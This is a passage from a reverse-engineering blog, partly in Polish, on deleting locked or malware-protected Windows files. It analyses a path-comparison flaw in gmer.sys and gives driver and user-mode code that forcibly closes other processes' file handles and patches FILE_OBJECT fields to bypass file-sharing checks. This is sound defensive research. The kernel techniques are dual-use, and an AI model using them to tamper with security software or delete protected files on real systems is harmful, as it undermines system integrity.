.text:0001B496                 mov     [ebp+pEPROCESS], esi
.text:0001B499                 lea     eax, [ebp+var_28]
.text:0001B49C                 push    eax             ; int
.text:0001B49D                 push    10h             ; SystemHandleInformation
.text:0001B49F                 call    wrap_NtQuerySystemInformation
.text:0001B4A4                 mov     [ebp+PSYSTEM_HANDLE_INFORMATION], eax
.text:0001B4A7                 cmp     eax, esi
.text:0001B4A9                 jz      error
.text:0001B4AF                 mov     [ebp+ms_exc.disabled], esi
.text:0001B4B2                 mov     [ebp+index], esi
.text:0001B4B5                 mov     ebx, ds:NtClose
.text:0001B4BB
.text:0001B4BB loc_1B4BB:                              ; CODE XREF: sub_1B488+119 j
.text:0001B4BB                 mov     ecx, [ebp+index]
.text:0001B4BE                 cmp     ecx, [eax]      ; eax = NumberOfHandles
.text:0001B4C0                 jnb     end_of_SYSTEM_HANDLE_INFORMATION
.text:0001B4C6                 shl     ecx, 4
.text:0001B4C9                 lea     edi, [ecx+eax+4]
.text:0001B4CD                 mov     [ebp+var_2C], edi
.text:0001B4D0                 mov     esi, [edi+8]
.text:0001B4D3                 mov     [ebp+PFILE_OBJECT], esi
.text:0001B4D6                 test    esi, esi
.text:0001B4D8                 jz      next_struct
.text:0001B4DE                 push    esi             ; VirtualAddress
.text:0001B4DF                 call    ds:MmIsAddressValid
.text:0001B4E5                 test    al, al
.text:0001B4E7                 jz      next_struct
.text:0001B4ED                 cmp     word ptr [esi], 5
.text:0001B4F1                 jnz     next_struct
.text:0001B4F7                 mov     eax, [esi+34h]
.text:0001B4FA                 test    eax, eax
.text:0001B4FC                 jz      next_struct
.text:0001B502                 push    eax             ; VirtualAddress
.text:0001B503                 call    ds:MmIsAddressValid
.text:0001B509                 test    al, al
.text:0001B50B                 jz      next_struct
.text:0001B511                 push    [ebp+filePath]  ; VirtualAddress
.text:0001B514                 call    ds:MmIsAddressValid
.text:0001B51A                 test    al, al
.text:0001B51C                 jz      short next_struct
.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen
.text:0001B527                 pop     ecx
.text:0001B528                 sub     eax, 6
.text:0001B52B                 mov     [ebp+a2], eax
.text:0001B52E                 movzx   ecx, word ptr [esi+30h] ; fileObject-&amp;amp;amp;amp;amp;amp;gt;FileName.Length
.text:0001B532                 shr     ecx, 1
.text:0001B534                 cmp     ecx, eax
.text:0001B536                 jnz     short next_struct
.text:0001B538                 push    eax             ; size_t
.text:0001B539                 mov     eax, [ebp+filePath]
.text:0001B53C                 add     eax, 0Ch
.text:0001B53F                 push    eax             ; wchar_t *
.text:0001B540                 push    dword ptr [esi+34h] ; fileObject-&amp;amp;amp;amp;amp;amp;amp;amp;gt;FileName.Buffer
.text:0001B543                 call    ds:_wcsnicmp
.text:0001B549                 add     esp, 0Ch
.text:0001B54C                 test    eax, eax
.text:0001B54E                 jnz     short next_struct
.text:0001B550                 lea     eax, [ebp+pEPROCESS]
.text:0001B553                 push    eax
.text:0001B554                 push    dword ptr [edi]
.text:0001B556                 call    ds:PsLookupProcessByProcessId
.text:0001B55C                 mov     status, eax
.text:0001B561                 test    eax, eax
.text:0001B563                 jnz     short next_struct
.text:0001B565                 mov     eax, [ebp+pEPROCESS]
.text:0001B568                 cmp     eax, current_process_EPROCESS
.text:0001B56E                 jz      short handleBelongsToCurrentProcess
.text:0001B570                 push    eax
.text:0001B571                 call    ds:KeAttachProcess
.text:0001B577                 movzx   eax, word ptr [edi+6]
.text:0001B57B                 push    eax             ; Handle
.text:0001B57C                 call    ebx ; NtClose
.text:0001B57E                 mov     status, eax
.text:0001B583                 call    ds:KeDetachProcess
.text:0001B589                 jmp     short loc_1B592
.text:0001B58B ; ---------------------------------------------------------------------------
.text:0001B58B
.text:0001B58B handleBelongsToCurrentProcess:          ; CODE XREF: sub_1B488+E6 j
.text:0001B58B                 movzx   eax, word ptr [edi+6]
.text:0001B58F                 push    eax             ; Handle
.text:0001B590                 call    ebx ; NtClose
.text:0001B592
.text:0001B592 loc_1B592:                              ; CODE XREF: sub_1B488+101 j
.text:0001B592                 mov     ecx, [ebp+pEPROCESS] ; Object
.text:0001B595                 call    ds:ObfDereferenceObject
.text:0001B59B
.text:0001B59B next_struct:                            ; CODE XREF: sub_1B488+50 j
.text:0001B59B                                         ; sub_1B488+5F j ...
.text:0001B59B                 inc     [ebp+index]
.text:0001B59E                 mov     eax, [ebp+PSYSTEM_HANDLE_INFORMATION]
.text:0001B5A1                 jmp     loc_1B4BB
.text:0001B5A6 ; ---------------------------------------------------------------------------
.text:0001B5A6
.text:0001B5A6 _end:                                   ; DATA XREF: .rdata:stru_1EED0 o
.text:0001B5A6                 xor     eax, eax
.text:0001B5A8                 inc     eax
.text:0001B5A9                 retn

Where the problem is?
Let’s take a look on issue where the gmer searches for a opened handles associated with interesting for us file to close them.
Gmer’s author decided here to use delivered FILE_OBJECT with SYSTEM_HANDLE_INFORMATION structure (NtQuerySystemInformation) and rightly, but …
Verification starts with comparison file path length of file passed as argument and this one included in a FILE_OBJECT.

.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen
.text:0001B527                 pop     ecx
.text:0001B528                 sub     eax, 6
.text:0001B52B                 mov     [ebp+a2], eax
.text:0001B52E                 movzx   ecx, word ptr [esi+30h] ; fileObject-&amp;amp;amp;amp;amp;amp;gt;FileName.Length
.text:0001B532                 shr     ecx, 1
.text:0001B534                 cmp     ecx, eax
.text:0001B536                 jnz     short next_struct

If a lengths are identical we go to a another test. Before I will go further I feel big need to niggle one piece of code and to mention here about good programming practices and code optimization. Exactly here is the piece of code:

.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen

Above fragment of code is inside the loop so during each iteration when object is a file, is called totally without any sense function wcslen which calculates length of filePath passed to sub_1B488 as argument!!! That multiple calculation of the same value leads to nothing else like loss of code productivity and in this case productivity will be decreased proportion to filePath length. Honestly, I highly don’t recommend such a constructions ;).
Go ahead:

.text:0001B538                 push    eax             ; length
.text:0001B539                 mov     eax, [ebp+filePath]
.text:0001B53C                 add     eax, 0Ch
.text:0001B53F                 push    eax             ; wchar_t *
.text:0001B540                 push    dword ptr [esi+34h] ; fileObject-&amp;amp;amp;amp;amp;amp;gt;FileName.Buffer
.text:0001B543                 call    ds:_wcsnicmp

Above we can see code resposibles of comparison two strings representing paths to files.
But, but,but !!! It’s not comparison of file paths which contain volume letter!!!.
Paths look here in the following way:
„folderfile.ext”
Only that kind of comparison leads to situation where handle related with file which path is the same as this one passed by us as argument, but located on totally different volume will be also closed!!!.
[+]Example
For tests purpose I created an small application which opens a handle to a file without delete privilege ( without FILE_SHARE_DELETE ) to force gmer to use above explained procedure. Code of this application you can find below:
cpp]
int main(int argc, char* argv[])
{
HANDLE h = CreateFileA(argv[1],
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if(h == INVALID_HANDLE_VALUE)
{
cout<<"[+]INVALID_HANDLE_VALUE"<

Posted in Analiza, RE | Tagged , , , , | Leave a comment

Tochę o usuwaniu plików

Jakiś czas temu zainteresowałem się kwestią sposobów usuwania plików, a raczej możliwościami wywołania takiego procesu w „trudnych przypadkach”. Co mam na myśli mówiąc „trudne przypadki” :
1. Zabicie procesu malware’u i próba usunięcia jego pliku wykonywalnego jest utrudniona z tego względu, że innym proces wciąż odnawia proces naszych zainteresowań.
2. Aplikacja/malware posiada otwarty handler do pliku z takimi uprawnieniami (brak FILE_SHARE_DELETE) , które uniemożliwiają jego usunięcie.
3.Usuniecie pliku nie jest możliwe ze względów na hooki , czy to na poziomie r3 czy r0, które chronią wybrane pliki malware’u.

Poniżej przedstawię parę sposobów na radzenie sobie w takich „trudnych sytuacjach” spowodowanych przez nie do końca poprawnie działającą aplikacje lub malware.

1.

Zabicie procesu malware’u i próba usunięcia jego pliku wykonywalnego jest utrudniona z tego względu, że innym proces wciąż odnawia proces naszych zainteresowań.
Porzućmy kwestie jaką przedstawiam w tytule tego punktu i wyobraźmy sobie prostszy scenariusz o identycznym charakterze.
Załóżmy teoretyczną sytuację, że istnieje malware, który składa się dwóch modułów na potrzeby przykładu nazwane następująco:
matka.exe – „dobrze ukryty” plik w systemie, który uruchamia się przy każdym uruchomieniu komputer’a następnie tworzy zdalny wątek w jednym z procesów systemowych i stamtąd wykonuje swoje zadania. Jego jedynym zadaniem jest uruchamianie modułu zle_dziecko.exe oraz monitorowanie jego stanu. W przypadku kiedy, proces zle_dziecko.exe zostanie zabity ukryty gdzieś w czeluściach systemu wątek matki tworzy jego nowy proces.
zle_dziecko.exe – moduł posiadający najważniejsza funkcjonalność keyloggingu,itp uruchamiany i utrzymywany przy życiu przez moduł matka.exe.
Dodatkowo scenariusz postępowania zakłada, że naszym priorytetem jest w pierwszej kolejności pozbycie się złośliwego procesu zle_dziecko.exe ponieważ co każdą minutę wysyła on cenne skradzione dane z naszego systemu na drop host.
Niestety pojawiają się drobne problemy, ponieważ po zabiciu procesu zle_dziecko.exe jest on wciąż odnawiany, przez co „nie możliwe” staje się usunięcie jego pliku wykonywalnego ze względu na „blokady” ze strony systemu.
[+]Sposób na obejście tego przypadku:
Analizując driver filesystemu (w moim przypadku źródłem zainteresowań był NTFS[ntfs.sys]) dochodzimy do wniosków, że tak naprawdę dwa pola w FILE_OBJECT’e pliku wykonywalnego, który posiada aktywny proces mogą uniemożliwiać usunięcie powiązanego z nim pliku.

kd>dt _FILE_OBJECT [ecx]
ntdll!_FILE_OBJECT
   +0x000 Type             : 5
   +0x002 Size             : 112
   +0x004 DeviceObject     : 0x88fd1900 _DEVICE_OBJECT
   +0x008 Vpb              : 0x88fa5780 _VPB
   +0x00c FsContext        : 0xe12f33d0
   +0x010 FsContext2       : 0xe189f870
   +0x014 SectionObjectPointer : 0x88c4d964 _SECTION_OBJECT_POINTERS
   +0x018 PrivateCacheMap  : (null)
   +0x01c FinalStatus      : 0
   +0x020 RelatedFileObject : (null)
   +0x024 LockOperation    : 0 ''
   +0x025 DeletePending    : 0 ''
   +0x026 ReadAccess       : 0x1 ''
   +0x027 WriteAccess      : 0 ''
   +0x028 DeleteAccess     : 0 ''
   +0x029 SharedRead       : 0x1 ''
   +0x02a SharedWrite      : 0x1 ''
   +0x02b SharedDelete     : 0x1 ''
   +0x02c Flags            : 0x840042
   +0x030 FileName         : _UNICODE_STRING "\zle_dziecko.exe"
   +0x038 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x040 Waiters          : 0
   +0x044 Busy             : 0
   +0x048 LastLock         : (null)
   +0x04c Lock             : _KEVENT
   +0x05c Event            : _KEVENT
   +0x06c CompletionContext : (null) 

„File object dla pliku zle_dziecko.exe posiadający aktywny proces”
Czytając specyfikacje FILE_OBJECT na msdn’e:
DeleteAccess
A read-only member (nie był bym tego taki pewny :P). If TRUE, the file associated with the file object has been opened for delete access. If FALSE, the file has been opened without delete access. This information is used when checking and/or setting the share access of the file.
Źródło: http://msdn.microsoft.com/en-us/library/ff545834(VS.85).aspx
I bardzo ważna informacja znajdująca się na dole strony:
During the processing of an IRP_MJ_CREATE request, a file system driver calls the IoSetShareAccess routine (if the client is the first to open the file) or the IoCheckShareAccess routine (for subsequent clients that want to share the file). IoSetShareAccess and IoCheckShareAccess update the ReadAccess, WriteAccess, and DeleteAccess members to indicate the access rights that are granted to the client if the client has exclusive access to the file.
Źródło: http://msdn.microsoft.com/en-us/library/ff545834(VS.85).aspx
Ważną wskazówką tutaj dla nas jest to, iż sprawdzenie flagi DeleteAccess odbywa się podczas przetwarzania zapytania IRP_MJ_CREATE przez driver( już teraz dopowiem, że zapytanie to jest wysyłane również podczas usuwania pliku, a procedura obsługująca je w NTFS’e nazywa sie NtfsFsdCreate) w funkcji IoCheckShareAccess i tam należy badać jej wpływ na dalszy przebieg operacji usuwania.
Oczywiści z badań wynikło, że ustawienie tej flagi na TRUE pozwala przejść check w IoCheckShareAccess pozytywnie.
SectionObjectPointer :_SECTION_OBJECT_POINTERS
w tej strukturze interesuje nas tak naprawdę jeden wskaźnik
ImageSectionObject : PVOID
Opaque pointer to an image section object (that is, a CONTROL_AREA structure) that is used to track state information for an executable file stream. Memory manager sets this member whenever an executable image section is created for the stream. A NULL value indicates that the executable image is currently not in memory; this value, however, can change at any time.
Źródło: http://msdn.microsoft.com/en-us/library/ff563687(VS.85).aspx
W skrócie, pointer ten ma wartość NULL wtedy, gdy plik wykonywalny nie jest załadowany do pamięci(nie posiada aktywnego procesu). W innym przypadku pointer ten jest ustawiony, a próba skasowania pliku wykonywalnego kończy się kodem błędu STATUS_SHARING_VIOLATION.
[+]Implementacja: [źródło inspiracji gmer.sys]
Żeby móc manipulować na file object’e musimy zejść w czeluści piekielne naszego OS’u , czyli ring0.
Oczywiście dokonamy tego pisząc driver, w którym przykładowa funkcja realizująca nasze zadanie będzie wyglądała tak :

NTSTATUS ForceDelete(wchar_t *path)
{
	HANDLE fileHandle;
	NTSTATUS result;
	IO_STATUS_BLOCK ioBlock;
	DEVICE_OBJECT *device_object;
	void* object = NULL;
	OBJECT_ATTRIBUTES fileObjectAttr;
	wchar_t deviceName[14];
	UNICODE_STRING uDeviceName;
	UNICODE_STRING uPath;
	//switch context to UserMode
	EPROCESS *eproc = IoGetCurrentProcess();
	KeAttachProcess(eproc);
	//e.g "\??\C:\"
	memset(deviceName,0,sizeof(deviceName));
	wcsncpy(deviceName,path,7);
	RtlInitUnicodeString(&uDeviceName,deviceName); //initialize volume name
	RtlInitUnicodeString(&uPath,path); //initialize path
	/* get volume handle */
	InitializeObjectAttributes(&fileObjectAttr,
								uDeviceName,
								OBJ_CASE_INSENSITIVE,
								NULL,
								NULL);
	result = ZwOpenFile(&fileHandle,
						SYNCHRONIZE,
						&fileObjectAttr,
						&ioBlock,
						FILE_SHARE_READ,
						FILE_SYNCHRONOUS_IO_NONALERT|FILE_DIRECTORY_FILE);
	if(result != STATUS_SUCCESS)
	{
		DbgPrint("Some problems with open file ;[");
		goto _end;
	}
    if ( !ObReferenceObjectByHandle(fileHandle, 0, 0, 0, &object, 0) )
    {
      device_object = IoGetBaseFileSystemDeviceObject(object); //get the lowest-level file system volume device object associated with a file
      ObfDereferenceObject(object);
    }
    ZwClose(fileHandle);
	InitializeObjectAttributes(&fileObjectAttr,
							   &uPath,
							   OBJ_CASE_INSENSITIVE,
							   NULL,
							   NULL);
	result = IoCreateFileSpecifyDeviceObjectHint(
			   &ileHandle,
			   SYNCHRONIZE | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | FILE_READ_DATA,
			   &fileObjectAttr,
			   &ioBlock,
			   0,
			   0,
			   FILE_SHARE_READ | FILE_SHARE_WRITE |FILE_SHARE_DELETE,
			   FILE_OPEN,
			   FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
			   0,
			   0,
			   CreateFileTypeNone,
			   0,
			   IO_IGNORE_SHARE_ACCESS_CHECK,
			   device_object);
	if(result != STATUS_SUCCESS)
	{
		DbgPrint("error in IoCreateFileSpecifyDeviceObjectHint");
		goto _end;
	}
	result = ObReferenceObjectByHandle(fileHandle, 0, 0, 0, &object, 0);
	if(result != STATUS_SUCCESS)
	{
		DbgPrint("error in ObReferenceObjectByHandle");
		ZwClose(fileHandle);
		goto _end;
	}
	/* set up proper FILE_OBJECT members  to allow file delete */
	((FILE_OBJECT*)object)->SectionObjectPointer->ImageSectionObject = 0; //.exe file is not in memory
	((FILE_OBJECT*)object)->DeleteAccess = 1; //we have access to delete file (.exe file doesn't have active process)
	 /*Try of file deletion*/
	 result = ZwDeleteFile(&fileObjectAttr);
	if(result != STATUS_SUCCESS)
	{
		DbgPrint("\nerror in ZwDeleteFile");
	}
	ObDereferenceObject(object);
	ZwClose(fileHandle);
_end:
	//return to r0
	KeDetachProcess();
	return result;
}

Myślę, że małe wyjaśnienia przydadzą się w następujących linijkach:

device_object = IoGetBaseFileSystemDeviceObject(object); //get the lowest-level file system volume device object associated with a file

pobieramy najniżej położony na stosie device_object związany z naszym plikiem, po to by później w:

IoCreateFileSpecifyDeviceObjectHint(
(...)
device_object);

DeviceObject [in, optional]
A pointer to the device object to which the create request is to be sent. The device object must be a filter or file system device object in the file system driver stack for the volume on which the file or directory resides. This parameter is optional and can be NULL. If this parameter is NULL, the request will be sent to the device object at the top of the driver stack.
Żródło: http://msdn.microsoft.com/en-us/library/ff548289(VS.85).aspx
gdzie nasz device object przedstawia się następująco:

//88f8b020 == device_object
kd>; !devobj 88f8b020
Device object (88f8b020) is for:
  \FileSystem\Ntfs DriverObject 88f733d0
Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000000
DevExt 88f8b0d8 DevObjExt 88f8b880
ExtensionFlags (0000000000)
AttachedDevice (Upper) 88fc4b30 \FileSystem\sr
Device queue is not busy.
kd< !devstack 88f8b020
  !DevObj   !DrvObj            !DevExt   ObjectName
  88fc4b30  \FileSystem\sr     88fc4be8
>88f8b020  \FileSystem\Ntfs   88f8b0d8

Myślę, że cały sens użycia tego api wyjaśnia jego opis:
The IoCreateFileSpecifyDeviceObjectHint routine is used by file system filter drivers to send a create request only to the filters below a specified device object and to the file system.
Co dzięki temu zyskujemy? Większą pewność, że nasze zapytanie nie zostanie po drodze zmodyfikowane przez sterownik rootkit’a podpiętego pod stos urządzeń powiązanych z file systemem.

2.

Wiele aplikacji/malware posiada otwarte handler’y do pliku z takimi uprawnieniami (brak FILE_SHARE_DELETE) , które uniemożliwiają jego usunięcie.
W tym przypadku nasz trick z ustawieniem odpowiednich flag dla FILE_OBJECT’u niestety nie zda egzaminu, ze względu na to, że file system w swoich wewnętrznych strukturach utrzymuje np.ReferenceCount dla takiego pliku i nie pozwoli na jego usunięcie, jeśli nie jest ono równe 0. Modyfikacja wewnętrznych struktur NTFS’a nie jest kwestią trywialną imo ze względu na sama kontrukcje tych struktu:
Root FCB jest tworzone dla kazdego plik tylko w jednej instacji -> FCB zawiera pointer na LCB , który łączy FCB z SCB, gdzie może występować wiele SCB posiadających wiele dzieci typu FCB,a do tego wszystkiego dochodzi jeszcze CCB tworzone w zależności od wymaganych praw na otwieramy pliku :D. Dorzućmy jeszcze do tego wszystkiego to, że struktury te nie są udokumentowane i myślę, że już wystarczająco zachęciłem was do ich ręcznej modyfikacji ;).
My podejdziemy do tego tematu w prostszy sposób, i do tego jakże logiczny, bo przecież jak pewna aplikacja ma jakiś otwarty handler do pliku i przez to tego pliku usunąć się nie da ,to co należało by zrobic? 😀 Oczywiście zamknąć jej ten uchwyt! :D. I tak też uczynimy.
[+]Sposób na obejście tego przypadku:
Dla tego przypadku zaproponuje dwa rozwiązania, jedno na poziomie ring 3 oraz kolejne na poziomie ring0.
Zajmijmy się w pierwszej kolejności r3.
[+]Implementacja
W potrzebie tworzenia aplikacji, która zrealizuje dla nas założone zadanie przychodzi nam api:

__kernel_entry NTSTATUS
NTAPI
NtQuerySystemInformation (
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );

oraz jego nieudokumentowana klasą informacji wraz z strukturami:

#define SystemHandleInformation 0x10
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

Korzystając z jej dobrodziejstwa otrzymamy tablice zawierającą wszystkie procesy oraz uchwyty należące do tych procesów wraz z typami obiektów, z jakimi te handler’y są powiązane.
Te wszystkie informacje pozwolą nam na zlokalizowanie otwartych uchwytów do naszego pliku w każdym procesie istniejącym w systemie, dzięki czemu po przez drobne sztuczki uzyskamy możliwość ich zamknięcia, a następnie usunięcia pliku.

//funkcja główna
void fileToDelete(char *filePath)
{
	closeAllHandles(filePath);
	//after closing all handler to the file ,try to delete it
	DeleteFileA(filePath);
}

Rzućmy okien na funkcje closeAllHandles:

void closeAllHandles(char* filePath)
{
	SYSTEM_HANDLE_INFORMATION *shiTable;
	char foundPath[MAX_PATH];
	shiTable = enumerateHandles();
	for(int i = 0; i < shiTable->NumberOfHandles;i++)
	{
		if( isFile( shiTable->Handles[i].ObjectTypeIndex) )
		{
			HANDLE fileHandle = getDuplicatedHandle(shiTable->Handles[i].UniqueProcessId,
															    shiTable->Handles[i].HandleValue,
																false);
				if(!fileHandle)
					continue;//probably a bad handle
			if(!GetFileNameFromHandle(fileHandle,foundPath))//check whether we have been able to receive filePath
					continue;
			if( !strcmp(filePath,foundPath) )
			{
				//handle to interesting file has been found,,,let's close it
				getDuplicatedHandle(shiTable->Handles[i].UniqueProcessId,
									shiTable->Handles[i].HandleValue,
									true);
			}
		}
	}
	VirtualFree(shiTable,0,MEM_RELEASE);
}
 

postępując w kolejności:

SYSTEM_HANDLE_INFORMATION * enumerateHandles()
{
	SYSTEM_HANDLE_INFORMATION shi = {0};
	SYSTEM_HANDLE_INFORMATION *shiTable;
	unsigned long shiTableSize;
	int status  = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation,
						     &shi,
							 sizeof(SYSTEM_HANDLE_INFORMATION),
							 &shiTableSize);
	//TODO: check status
	shiTable = (SYSTEM_HANDLE_INFORMATION*)VirtualAlloc(0,shiTableSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);
	status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation,
									  shiTable,
									  shiTableSize,
									  0);
	return shiTable;
}

Myślę, że tutaj wszystko jest jasne, a funkcja getDuplicatedHandle będzie bardziej interesująca. Ahh
jeszcze mała funkcja isFile:

bool isFile(unsigned char type)
{
	return type == 0x1c; //for XP
}

Sprawdzamy tutaj czy element opisany przez SYSTEM_HANDLE_TABLE_ENTRY_INFO jest plikiem. Jeśli tak, to przechodzimy dalej:

HANDLE getDuplicatedHandle(unsigned long procID,unsigned long handleValue,bool closeSourceHandle)
{
	HANDLE rFile = (HANDLE)handleValue;
	HANDLE rProc;
	HANDLE duplicatedHandle;
	rProc = OpenProcess(PROCESS_DUP_HANDLE,0,procID);
	unsigned long option = closeSourceHandle?(DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS):DUPLICATE_SAME_ACCESS;
	DuplicateHandle(rProc,rFile,GetCurrentProcess(),&duplicatedHandle,0,0,option);
	CloseHandle(rProc);
	if(closeSourceHandle)
	{
		CloseHandle(duplicatedHandle);
		return 0;
	}
	return duplicatedHandle;
}

Do funkcji trafiają trzy parametry:

unsigned long procID      // ID procesu do którego należy handler
unsigned long handleValue // wartość handler’a
bool closeSourceHandle    // flaga, na podstawie której będzie wybierana opcja dla api DuplicateHandle

W pierwszej kolejności uzyskujemy handler do procesu, który być może, trzyma otwarty handler do interesującego nas pliku. Istotną kwestią tutaj jest flag DesiredAccess ustawiona na PROCESS_DUP_HANDLE, ponieważ zawiązana ona jest z mechanizmem, który wykorzystamy za chwilę.
Api DuplicateHandle pozwala nam na stworzenie kopi uchwytu pochodzącego z naszego procesu lub też (co jest najciekawsze) z procesu zdalnego. Bez tej możliwości wartość handler’a uzyskanego przez NtQuerySystemInformation była by dla nas bezużyteczna, ponieważ nie moglibyśmy skorzystać z niej w obrębie naszego procesu. Myślę, że co niektórym z was nasuwa się kolejna idea, a mianowicie możliwość wykorzystania zdalnych wątków. Fakt, w ten sposób również można podejść do tego tematu, jednak mi bardziej do gustu przypadło to rozwiązanie.
Opcja DuplicateHandle, która najbardziej nas tutaj interesuje to:

DUPLICATE_CLOSE_SOURCE

dzięki, której jak się domyślacie stworzymy kopie uchwytu przy jednoczesnym zamknięciu uchwyty źródłowego!;]. Oczywiście nie chcemy zamykać wszystkich uchwytów każdego procesu, dlatego też, przed sprawdzeniem, z jakim plikiem powiązany jest dany handler ustawiamy tylko opcje:

DUPLICATE_SAME_ACCESS

Po uzyskaniu klonu uchwytu wypadałoby, w jakiś sposób teraz ustalić, z jakim plikiem powiązany jest ten handler. Z pomocą przychodzi tutaj funkcja
GetFileNameFromHandle
źródło: http://msdn.microsoft.com/en-us/library/aa366789(VS.85).aspx
, a tak naprawdę api związane z mapowaniem pliku, dokładnie mówiąc:

GetMappedFileName

Ja delikatnie zmodyfikowałem tą funkcje na swoje potrzeby i teraz prezentuje się ona następująco

BOOL GetFileNameFromHandle(HANDLE hFile,char* filePath)
{
  BOOL bSuccess = FALSE;
  char pszFilename[MAX_PATH+1];
  HANDLE hFileMap;
  // Create a file mapping object.
  hFileMap = CreateFileMapping(hFile,
                    NULL,
                    PAGE_READONLY,
                    0,
                    1,
                    NULL);
  if (hFileMap)
  {
    // Create a file mapping to get the file name.
    void* pMem = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 1);
    if (pMem)
    {
      if (GetMappedFileNameA (GetCurrentProcess(),
                             pMem,
                             pszFilename,
                             MAX_PATH))
      {
        // Translate path with device name to drive letters.
        char szTemp[1024];
        szTemp[0] = '0';
        if (GetLogicalDriveStringsA(BUFSIZE-1, szTemp))
        {
          char szName[MAX_PATH];
          char szDrive[3] = " :";
          BOOL bFound = FALSE;
          char* p = szTemp;
          do
          {
            // Copy the drive letter to the template string
            *szDrive = *p;
            // Look up each device name
            if (QueryDosDeviceA(szDrive, szName, MAX_PATH))
            {
              UINT uNameLen = strlen(szName);
              if (uNameLen < MAX_PATH)
              {
                bFound = strnicmp(pszFilename, szName, uNameLen) == 0;
                if (bFound && *(pszFilename + uNameLen) == '\\')
                {
					strcpy(filePath,szDrive);
					strcpy(filePath+strlen(szDrive),pszFilename + strlen(szName));
                }
              }
            }
            // Go to the next NULL character.
            while (*p++);
          } while (!bFound && *p); // end of string
        }
      }
      bSuccess = TRUE;
      UnmapViewOfFile(pMem);
    }
    CloseHandle(hFileMap);
  }
  CloseHandle(hFile);
  return(bSuccess);
}
&#91;/cpp&#93;
Istotną zmianą jest tutaj usunięcie check’u polegającego na sprawdzaniu wielkości pliku po przez <strong>GetFileSize</strong>. Niestety ale dla pewnych handler’ow wskazujących na takie twory jak:
<strong>78: File  (---)   \Device\NamedPipe\net\NtControlPipe15</strong>
<strong>GetFileSize zawisa.</strong>
Kiedy uda nam się zdobyć ścieżkę do pliku kwestia jest już prosta. Wykonujemy check czy dana ścieżka jest identyczna do tej podanej przez nas

Jeśli tak, to wywołujemy wcześniej omawianą funkcję <strong>duplicateHandle</strong>, lecz tym razem z parametrem <strong>closeSourceHandle ustawionym na true</strong>

<font color="green">[+]Analogiczne rozwiązanie lecz w świecie ring0[inspiracja gmer.sys].</font>
Początek prezentuje sie identycznie jak wersja dla r3.

void r0_fileToDelete(wchar_t *filePath)
{
	r0_closeAllHandles(filePath);
	/*
		after closing all handles to the file ,try to delete it
		ofc,,,before it convert DosPath to NtPath (just add \??\ before filePath)
	*/
	//ZwDeleteFile();
}

Przyjrzyjmy się obecnej wersji closeAllHandles:

void r0_closeAllHandles(wchar_t* filePath)
{
	MY_SYSTEM_HANDLE_INFORMATION *shiTable;
	EPROCESS *eprocess;
	unsigned long i;
	FILE_OBJECT *file;
	OBJECT_NAME_INFORMATION *objectNameInformation = 0;
	unsigned long filePathLength = wcslen(filePath);
	shiTable = enumerateHandles();
	for(i = 0; i < shiTable->NumberOfHandles;i++)
	{
		if( isFile( shiTable->Handles[i].ObjectTypeIndex) )
		{
			file = (FILE_OBJECT*)shiTable->Handles[i].Object;
			if(!file || file->FileName.Length == 0)
				continue;
			getFullPathName(file,&objectNameInformation);
			if((objectNameInformation->Name.Length/2 ) != filePathLength)
				continue;
			if( !_wcsnicmp(filePath,(wchar_t*)objectNameInformation->Name.Buffer,filePathLength) )
			{
				PsLookupProcessByProcessId((HANDLE)shiTable->Handles[i].UniqueProcessId,&eprocess);
				KeAttachProcess(eprocess);//switch context to process one
				ZwClose((HANDLE)shiTable->Handles[i].HandleValue);
				KeDetachProcess();
			}
		}
	}
	ExFreePoolWithTag(shiTable,0xdeadbeef);
}

Tak jak poprzednio używamy enumerateHandles do zdobycia informacji o handler’ach, jedyna zmianą tutaj jest sposób alokacji:

MY_SYSTEM_HANDLE_INFORMATION * enumerateHandles()
{
	MY_SYSTEM_HANDLE_INFORMATION shi = {0};
	MY_SYSTEM_HANDLE_INFORMATION *shiTable;
	unsigned long shiTableSize;
	int status  = ZwQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation,
						     &shi,
							 sizeof(MY_SYSTEM_HANDLE_INFORMATION),
							 &shiTableSize);
	//TODO: check status
	shiTable = (MY_SYSTEM_HANDLE_INFORMATION*)ExAllocatePoolWithTag(NonPagedPool,shiTableSize,0xdeadbeef);
	status = ZwQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation,
									  shiTable,
									  shiTableSize,
									  0);
	return shiTable;
}

Poruszając się w głab funkcji r0_closeAllHandles napotykamy linijkę gdzie:

file = (FILE_OBJECT*)shiTable->Handles[i].Object;

